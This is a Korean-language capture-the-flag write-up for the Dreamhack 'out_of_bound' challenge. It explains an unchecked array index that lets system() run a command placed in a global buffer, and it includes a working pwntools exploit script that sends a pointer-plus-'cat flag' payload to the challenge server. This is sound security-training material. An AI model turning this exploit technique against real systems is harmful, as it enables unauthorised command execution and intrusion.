dreamhack - out_of_bound writeup
[dreamhack] out_of_bound writeup
1. 문제

이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
전역 변수로 설정된 name
에 16bytes
만큼 입력을 받고,
임의의 숫자 값 idx
를 입력해서 system(command[idx])
를 실행시킨다.
즉, command[idx]
에 cat flag
같은 값을 넣으면 flag
값을 얻어 낼 수 있을 것이다.
그런데 마찬가지로 전역변수로 설정된 command
배열을 보면 우리가 원하는 내용이 없는데, 대신에 idx
값을 제한없이 넣을 수 있는 것을 이용해보자. 특히, command
가 name
보다 하위 주소라면, 적절한 idx
값을 통해 name
에 접근할 수 있을 것이다.
gdb를 통해 main
함수를 보면 read
함수가 입력을 받는 곳이 name
이고, 해당 주소가 0x804a0ac
임을 알 수 있다.
또한, system
함수가 실행되는 주소를 보면 0x804a060
이 command
배열이고, eax
에 들어가는 값이 idx
임을 알 수 있다.
따라서 command
배열에서 name
까지 0x804a0ac - 0x804a060 = 0x4c = 76 bytes
만큼 떨어져있고, 배열 하나당 4 bytes
씩이므로 idx
를 76/4 = 19
로 넣어주면 name
을 가리킬 수 있다. 즉, command[19] = name
.
그런데 system
함수의 정의를 보면 아래와 같다.
int system(const char *string);
즉, name
변수에 우리가 원하는 cat flag
같은 string을 바로 넣으면 안되고, 원하는 string을 가리키는 주소가 들어가야 한다.
따라서 name
의 첫 4바이트에 name+4
의 주소를 넣고, name+4
에 원하는 string을 넣으면 해결될 것이다.
3. exploit
from pwn import *
#p = process("./out_of_bound")
p = remote("host3.dreamhack.games", 11989)
e = ELF("./out_of_bound")
# Init
print(p.recv(1024))
payload = p32(0x0804a0b0)
payload += b'cat flag'
p.send(payload)
print(p.recv(1024))
p.send(b'19')
p.interactive()
해결~